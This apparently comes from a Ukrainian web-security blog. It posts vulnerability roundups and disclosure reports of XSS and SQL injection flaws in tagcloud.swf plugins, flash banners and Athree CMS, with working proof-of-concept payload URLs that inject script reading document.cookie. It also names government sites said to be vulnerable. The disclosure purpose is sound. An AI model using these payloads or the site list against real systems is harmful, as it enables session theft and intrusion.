Websecurity - Веб безпека

В даній добірці уразливості в веб додатках:

• Advisory for Oracle CPU October 2008 - APEX Flows excessive privileges (деталі)
• Oracle PeopleTools – Authentication Weakness (деталі)
• Oracle DBMS – Proxy Authentication Vulnerability (деталі)
• MULTIPLE SQL INJECTION VULNERABILITIES S-CMS <= v-2.0 Beta3 (деталі)
• (Post Form var ‘username’) BLIND SQLi exploit S-CMS <= v-2.0 Beta3 (деталі)
• (Post Form login var ‘username’) BLIND SQLi exploit Open Biller 0.1 (деталі)
• MULTIPLE SQL INJECTION VULNERABILITIES Splog <= v-1.2 Beta (деталі)
• Cross-site scripting (XSS) vulnerability in Avaya Communications Manager (деталі)
• Multiple Vulnerabilities in TorrentTrader Classic 1.09 (деталі)
• SugarCRM 5.2.0e Remote Code Execution (деталі)

Раніше я вже писав про XSS уразливість в WP-Cumulus. Така ж уразливість є і в Blogumus (віджеті для Blogger), що використовує tagcloud.swf розроблений автором WP-Cumulus. Про мільйони флешек tagcloud.swf вразливих до XSS атак я згадував у своїй статті XSS уразливості в 34 мільйонах флеш файлах.

Учора, 08.01.2010, я знайшов Cross-Site Scripting уразливість в Blogumus. Про що найближчим часом повідомлю розробнику.

На відміну від WP-Cumulus та інших плагінів, що використовують tagcloud.swf, осибливістю Blogumus є те, що він використовує один єдиний tagcloud.swf, розміщений на одному сервері. Відповідно атаки відбуваються лише через цей сервер, що зменшує ризик для користувачів даного віджету, а також спрощує процес виправлення уразливостей.

XSS:

http://halotemplates.s3.amazonaws.com/wp-cumulus-example/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

Код виконається при кліку. Це Strictly social XSS. Також можна провести HTML Injection атаку, подібно до WP-Cumulus.

• alert(document.cookie)
• цікавий
• html включення

Раніше я вже писав про XSS уразливість в Joomulus для Joomla. Така ж уразливість є і в плагіні JVClouds3D (mod_jvclouds3D), що використовує tagcloud.swf розроблений автором WP-Cumulus.

Про мільйони флешек tagcloud.swf вразливих до XSS атак я згадував у своїй статті XSS уразливості в 8 мільйонах флеш файлах. Я наводив приклад даної уразливості в JVClouds3D серед XSS уразливостей в tagcloud.swf на gov та gov.ua, зокрема на сайті http://spacecenter.gov.ua.

Сьогодні я знайшов Cross-Site Scripting уразливість в плагіні JVClouds3D для Joomla. Про що найближчим часом повідомлю розробникам.

XSS:

http://site/modules/mod_jvclouds3D/jvclouds3D/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

Код виконається при кліку. Це Strictly social XSS.

Також можна провести HTML Injection атаку, в тому числі на ті флешки, де заборонені (у флешках чи через WAF) javascript та vbscript URI в параметрі tagcloud.

HTML Injection:

http://site/modules/mod_jvclouds3D/jvclouds3D/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

Уразливі JVClouds3D 1.0.9b та попередні версії.

В даній добірці уразливості в веб додатках:

• SQL INJECTION VULNERABILITY LightOpen CMS Devel 0.1 (деталі)
• Joomla! 1.5.10 JA_Purity Multiple Persistent XSS (деталі)
• LightOpenCMS 0.1 pre-alpha Remote SQL Injection (деталі)
• Oracle Database SQL Injection in SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE (деталі)
• Oracle Database multiple SQL Injection vulnerabilities in Workspace Manager (деталі)
• Oracle Database SQL Injection in SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE (деталі)
• Oracle Database Multiple SQL Injection vulnerabilities in LTADM (деталі)
• SQL INJECTION VULNERABILITY Kjtechforce mailman Beta-1 (деталі)
• Zoki Catalog SQL Injection (деталі)
• MULTIPLE LOCAL FILE INCLUSION VULNERABILITIES S-CMS <= v-2.0 Beta3 (деталі)

В своїй статті XSS уразливості в 8 мільйонах флеш файлах я писав, що по даним Гугла в Інтернеті є до 34 мільйонів флешек (tagcloud.swf) потенційно вразливих до XSS атак. Файл tagcloud.swf розроблений автором плагіна WP-Cumulus для WordPress і постачається з даним плагіном для WP, а також з іншими плагінами, зокрема Joomulus для Joomla.

Так як на багатьох державних сайтах використовуються різні движки до яких розроблені плагіни з даним swf-файлом (і відповідно дані сайти можуть бути вразливі до XSS), я приведу вам перелік вразливих державних сайтів різних країн. Наступні державні сайти мають Cross-Site Scripting уразливості у флешці tagcloud.swf.

XSS на gov сайтах (окрім державних сайтів України):

http://gibdd.tambov.gov.ru

• alert(document.cookie)
• цікавий

http://dpw.ecprov.gov.za

• alert(document.cookie)
• цікавий

http://media1.aso.gov.au

• alert(document.cookie)
• цікавий

http://education.gov.lc

• alert(document.cookie)
• цікавий

http://www.muskegon-mi.gov

• цікавий

На даному сайті використовується пропатчена версія WP-Cumulus, в якій виправлена XSS, але в якій все ще наявна HTML Injection.

XSS на gov.ua сайтах:

http://www.galych-rada.gov.ua

• alert(document.cookie)
• цікавий

http://www.smida.gov.ua

• alert(document.cookie)
• цікавий

http://cult.gov.ua

• alert(document.cookie)
• цікавий

http://spacecenter.gov.ua

• alert(document.cookie)
• цікавий

http://uit.umvs-kherson.gov.ua

• alert(document.cookie)
• цікавий

http://letadm.gov.ua

• alert(document.cookie)
• цікавий

http://old.smida.gov.ua

• alert(document.cookie)
• цікавий

В даній добірці уразливості в веб додатках:

• Alcatel-Lucent OmniSwitch products, Stack Buffer Overflow (деталі)
• New drupal6 packages fix insufficient input sanitising (деталі)
• (Post Form –> ‘cc’) Blind (SQLi) EXPLOIT Online Grades & Attendance <= v3.2.6 (деталі)
• MULTIPLE LOCAL FILE INCLUSION VULNERABILITIES Online Grades & Attendance <= v3.2.6 (деталі)
• Nokia 6131 NFC URI/URL Spoofing and DoS Advisory (деталі)
• moziloCMS 1.11.1 - XSS Vulnerability (деталі)
• LightNEasy 2.2.2 - HTML Injection Vulnerability (деталі)
• SiteCore.NET 6.0.0 - XSS Vulnerability (деталі)
• Geeklog 1.5 - Pre-Installation Vulnerabilities (деталі)
• Flatnux 2009-03-27 - XSS Vulnerabilities + More (деталі)

В даній добірці уразливості в веб додатках:

• Multiple Vulnerabilities in Cisco PIX and Cisco ASA (деталі)
• Backdoor in com_rsgallery2 gallery extension for joomla (деталі)
• Vanilla v.1.1.7 Cross-Site Scripting (деталі)
• AdPeeps 8.5d1 - XSS and HTML Injection Vulnerabilities (деталі)
• MULTIPLE REMOTE VULNERABILITIES Small Pirates v-2.1 (деталі)
• RCE vulnerability in ecshop 2.6.2 (деталі)
• A-Link WL54AP3 and WL54AP2 CSRF+XSS vulnerability (деталі)
• MULTIPLE SQL INJECTION VULNERABILITIES Online Grades & Attendance v-3.2.6 (деталі)
• OCS Inventory NG 1.02 - Multiple SQL Injections (деталі)
• (Post Form –> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT Online Grades & Attendance v-3.2.6 (деталі)

У травні, 05.05.2009, я знайшов численні Cross-Site Scripting уразливості на проекті http://c8.net.ua (банерна мережа). Про що найближчим часом сповіщу адміністрацію проекту.

Проблема така ж сама як і випадку численних уразливостей на www.banner.kiev.ua.

У флеш баннерах на b.c8.net.ua, які також доступні на c8.net.ua, є XSS уразливість. Якщо вони зроблені згідно з рекомендаціями банерної системи, то можлива XSS атака (strictly social XSS) через параметр url, або інші параметри (при кліку на банер). Про подібну атаку я вже писав в статті XSS уразливості в 8 мільйонах флеш файлах.

XSS (флешка з target = “_blank”):

• alert(’XSS’)
• alert(document.cookie)
• цікавий

Для різних флеш банерів URL сайта заноситься через різні параметри (url, link1, clickTAG або clickTag).

Google проіндексував на даному сайті 44 флеш банери, але їх може бути набагато більше. Файл банера, який я використав для прикладу, має ім’я 5371.swf, тобто в системі може бути більше 5000 уразливих флеш банерів.

05.11.2009

У березні, 09.03.2009, я знайшов Cross-Site Scripting, SQL DB Structure Extaction та SQL Injection уразливості в системі Athree CMS (Athree CMS Lite). Як раз коли виявив уразливості на www.cctvua.com, де і використовується цей движок.

Раніше я вже писав про уразливості в Athree CMS.

Детальна інформація про уразливості з’явиться пізніше.

30.12.2009

XSS:

http://site/?p=1;c=1;s=28/*%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?p=1;c=0/*%3Cscript%3Ealert(document.cookie)%3C/script%3E;s=28
http://site/?p=1;c=0/*%3Cscript%3Edocument.location%3D'http://websecurity.com.ua'%3C/script%3E;s=28

SQL DB Structure Extraction:

http://site/?p=1;a=1′

SQL Injection:

http://site/?p=1;a=version()

В даній добірці уразливості в веб додатках:

• CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability (деталі)
• Drupal 6 Content Access Module XSS (деталі)
• Drupal Embedded Media Field Module Multiple XSS (деталі)
• Achievo 1.3.4 - XSS Vulnerability (деталі)
• Arcade Trade Script XSS (деталі)
• PHP Nuke v.8.0 (referer) SQL Injection (деталі)
• Novell Groupwise fails to properly sanitize emails (деталі)
• Cross-site Request Forgery (CSRF) on Novell GroupWise WebAccess allows email theft and other attacks (деталі)
• Persistent XSS on Novell GroupWise WebAccess (деталі)
• XSS on Novell GroupWise WebAccess (деталі)